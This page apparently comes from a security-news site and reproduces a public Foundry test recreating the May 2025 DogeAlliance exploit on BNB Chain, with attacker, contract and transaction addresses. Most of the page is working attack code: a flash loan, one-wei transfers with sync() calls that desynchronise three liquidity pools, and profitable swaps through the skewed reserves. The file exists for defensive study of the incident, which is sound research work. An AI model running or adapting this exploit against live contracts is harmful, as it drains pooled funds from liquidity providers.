Skip to content
THREATWIRE

Public reproduction file

src/test/2025-05/DogeAlliance_exp.sol

Public reproduction file for dataset entry DogeAlliance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-05/DogeAlliance_exp.sol172 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 990.33 USD
8// Attacker : 0xd9a34Af0b97f13871287c317Ea0e1E8C00BE0630
9// Attack Contract : 0xB76fE86265B738616FD69D4751CaDa35B0A466F0
10// Vulnerable Contract : 0x04Df78093e2B66a0387F8C052C8D344D84CA49af
11// Attack Tx : https://bscscan.com/tx/0xcf2b8c46e5f6f761a716619800de6754058921cbde0cd5ff12cd2ce4ea6a818d
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x04df78093e2b66a0387f8c052c8d344d84ca49af#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1215
18//
19// Attack summary: The attacker flash-borrowed WBNB, bought DOGEALLY, transferred one wei of
20// DOGEALLY into three DOGEALLY LPs, and called sync() on each pair before selling DOGEALLY
21// through those manipulated reserves for WBNB and BUSD.
22// Root cause: The DOGEALLY LP reserves could be forcibly desynchronized by direct token
23// transfers followed by permissionless sync(), allowing swaps against reserves with one wei
24// of DOGEALLY and large paired-token balances.
26address constant ATTACKER = 0xd9A34AF0b97f13871287C317ea0e1E8C00BE0630;
27address constant TRACE_ATTACK_CONTRACT = 0xb76Fe86265b738616fd69d4751CADA35b0a466f0;
28address constant TRACE_HELPER = 0xb5D2008b13b3f44ED803dFc047bFE25EFbE62c7C;
29address constant DODO_DPP = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;
30address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
31address constant SECONDARY_ROUTER = 0xcF0feBd3f17CEf5b47b0cD257aCf6025c5BFf3b7;
32address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
33address constant BUSD_TOKEN = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
34address constant CAKE_TOKEN = 0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82;
35address constant DOGEALLY_TOKEN = 0x05822195B28613b0F8A484313d3bE7B357C53A4a;
36address constant DOGEALLY_IMPL = 0xf2765a5ddCc935BdEB933FD85ddB8d873ca6FAA8;
37address constant CAKE_WBNB_PAIR = 0x0eD7e52944161450477ee417DE9Cd3a859b14fD0;
38address constant DOGEALLY_CAKE_PAIR = 0x52F5aA2dEF4e241c3896F5FeF95b16878893Bf8f;
39address constant DOGEALLY_WBNB_PAIR = 0x04Df78093e2b66A0387F8c052C8d344D84ca49aF;
40address constant DOGEALLY_BUSD_PAIR = 0x96D600d9dDAd3f3A28649467289b30aec29C620D;
41address constant DOGEALLY_WBNB_PAIR_2 = 0xbe373a3d191adB0F70d76f8Fa040312207ce89b0;
42address constant BUSD_WBNB_PAIR = 0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16;
43uint256 constant FLASH_WBNB_AMOUNT = 0.01 ether;
45interface IDODOFlashLoan {
46 function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;
49interface ISyncPair {
50 function sync() external;
51 function token0() external view returns (address);
52 function token1() external view returns (address);
55contract ContractTest is BaseTestWithBalanceLog {
56 address private profitReceiver;
58 function setUp() public {
59 uint256 forkBlock = 50_638_349;
60 vm.createSelectFork("bsc", forkBlock);
62 profitReceiver = makeAddr("profitReceiver");
63 fundingToken = WBNB_TOKEN;
64 attacker = profitReceiver;
66 vm.label(ATTACKER, "Attacker EOA");
67 vm.label(TRACE_ATTACK_CONTRACT, "Trace Attack Contract");
68 vm.label(TRACE_HELPER, "Trace Helper");
69 vm.label(DODO_DPP, "DODO DPP WBNB/USDT Pool");
70 vm.label(PANCAKE_ROUTER, "Pancake Router");
71 vm.label(SECONDARY_ROUTER, "Secondary Router");
72 vm.label(WBNB_TOKEN, "WBNB");
73 vm.label(BUSD_TOKEN, "BUSD");
74 vm.label(CAKE_TOKEN, "CAKE");
75 vm.label(DOGEALLY_TOKEN, "DOGEALLY");
76 vm.label(DOGEALLY_IMPL, "DOGEALLY Implementation");
77 vm.label(CAKE_WBNB_PAIR, "CAKE/WBNB Pair");
78 vm.label(DOGEALLY_CAKE_PAIR, "DOGEALLY/CAKE Pair");
79 vm.label(DOGEALLY_WBNB_PAIR, "DOGEALLY/WBNB Pair");
80 vm.label(DOGEALLY_BUSD_PAIR, "DOGEALLY/BUSD Pair");
81 vm.label(DOGEALLY_WBNB_PAIR_2, "DOGEALLY/WBNB Pair 2");
82 vm.label(BUSD_WBNB_PAIR, "BUSD/WBNB Pair");
83 }
85 function testExploit() public balanceLog {
86 _assertPairLayout();
88 uint256 wbnbBefore = IERC20(WBNB_TOKEN).balanceOf(profitReceiver);
90 DogeAllianceSyncAttack attack = new DogeAllianceSyncAttack(profitReceiver);
91 attack.execute();
93 uint256 profit = IERC20(WBNB_TOKEN).balanceOf(profitReceiver) - wbnbBefore;
94 assertGt(profit, 1 ether);
95 assertLt(profit, 2 ether);
96 }
98 function _assertPairLayout() private {
99 assertEq(ISyncPair(CAKE_WBNB_PAIR).token0(), CAKE_TOKEN);
100 assertEq(ISyncPair(CAKE_WBNB_PAIR).token1(), WBNB_TOKEN);
101 assertEq(ISyncPair(DOGEALLY_CAKE_PAIR).token0(), DOGEALLY_TOKEN);
102 assertEq(ISyncPair(DOGEALLY_CAKE_PAIR).token1(), CAKE_TOKEN);
103 assertEq(ISyncPair(DOGEALLY_WBNB_PAIR).token0(), DOGEALLY_TOKEN);
104 assertEq(ISyncPair(DOGEALLY_WBNB_PAIR).token1(), WBNB_TOKEN);
105 assertEq(ISyncPair(DOGEALLY_BUSD_PAIR).token0(), DOGEALLY_TOKEN);
106 assertEq(ISyncPair(DOGEALLY_BUSD_PAIR).token1(), BUSD_TOKEN);
107 assertEq(ISyncPair(DOGEALLY_WBNB_PAIR_2).token0(), DOGEALLY_TOKEN);
108 assertEq(ISyncPair(DOGEALLY_WBNB_PAIR_2).token1(), WBNB_TOKEN);
109 assertEq(ISyncPair(BUSD_WBNB_PAIR).token0(), WBNB_TOKEN);
110 assertEq(ISyncPair(BUSD_WBNB_PAIR).token1(), BUSD_TOKEN);
111 }
114contract DogeAllianceSyncAttack {
115 address private immutable profitReceiver;
117 constructor(
118 address _profitReceiver
119 ) {
120 profitReceiver = _profitReceiver;
121 }
123 function execute() external {
124 IDODOFlashLoan(DODO_DPP).flashLoan(FLASH_WBNB_AMOUNT, 0, address(this), abi.encode(profitReceiver));
125 }
127 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
128 require(msg.sender == DODO_DPP, "not DODO pool");
129 require(sender == address(this), "unexpected sender");
130 require(baseAmount == FLASH_WBNB_AMOUNT && quoteAmount == 0, "unexpected loan");
131 require(abi.decode(data, (address)) == profitReceiver, "unexpected receiver");
133 _runReserveSyncExploit();
135 require(IERC20(WBNB_TOKEN).transfer(DODO_DPP, FLASH_WBNB_AMOUNT), "flash repay failed");
136 require(IERC20(WBNB_TOKEN).transfer(profitReceiver, IERC20(WBNB_TOKEN).balanceOf(address(this))), "profit failed");
137 }
139 function _runReserveSyncExploit() private {
140 _swap(PANCAKE_ROUTER, WBNB_TOKEN, CAKE_TOKEN, IERC20(WBNB_TOKEN).balanceOf(address(this)));
141 _swap(PANCAKE_ROUTER, CAKE_TOKEN, DOGEALLY_TOKEN, IERC20(CAKE_TOKEN).balanceOf(address(this)));
143 _dustAndSync(DOGEALLY_WBNB_PAIR);
144 _dustAndSync(DOGEALLY_BUSD_PAIR);
145 _dustAndSync(DOGEALLY_WBNB_PAIR_2);
147 uint256 dogeallyChunk = IERC20(DOGEALLY_TOKEN).balanceOf(address(this)) / 3;
148 _swap(SECONDARY_ROUTER, DOGEALLY_TOKEN, WBNB_TOKEN, dogeallyChunk);
149 _swap(SECONDARY_ROUTER, DOGEALLY_TOKEN, BUSD_TOKEN, dogeallyChunk);
150 _swap(PANCAKE_ROUTER, DOGEALLY_TOKEN, WBNB_TOKEN, dogeallyChunk);
151 _swap(PANCAKE_ROUTER, BUSD_TOKEN, WBNB_TOKEN, IERC20(BUSD_TOKEN).balanceOf(address(this)));
152 }
154 function _dustAndSync(
155 address pair
156 ) private {
157 require(IERC20(DOGEALLY_TOKEN).transfer(pair, 1), "dust transfer failed");
158 ISyncPair(pair).sync();
159 }
161 function _swap(address router, address tokenIn, address tokenOut, uint256 amountIn) private {
162 require(IERC20(tokenIn).approve(router, type(uint256).max), "approve failed");
164 address[] memory path = new address[](2);
165 path[0] = tokenIn;
166 path[1] = tokenOut;
168 Uni_Router_V2(router).swapExactTokensForTokensSupportingFeeOnTransferTokens(
169 amountIn, 0, path, address(this), block.timestamp
170 );
171 }

Analysis

Dataset entry

Public Foundry test for “DogeAlliance” (2025-05-31). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xd9a34af0b97f13871287c317ea0e1e8c00be0630

  • Attack Contract

    0xb76fe86265b738616fd69d4751cada35b0a466f0

  • Vulnerable Contract

    0x04df78093e2b66a0387f8c052c8d344d84ca49af

  • Attack Tx

    0xcf2b8c46e5f6f761a716619800de6754058921cbde0cd5ff12cd2ce4ea6a818d

File record

Name
DogeAlliance
Path
src/test/2025-05/DogeAlliance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
449dc890255c9ebc83e09f7721b4b4921dc84b67
Language
Solidity
Size
173 lines
Date
2025-05-31
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-05/DogeAlliance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 449dc890255c9ebc83e09f7721b4b4921dc84b67, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.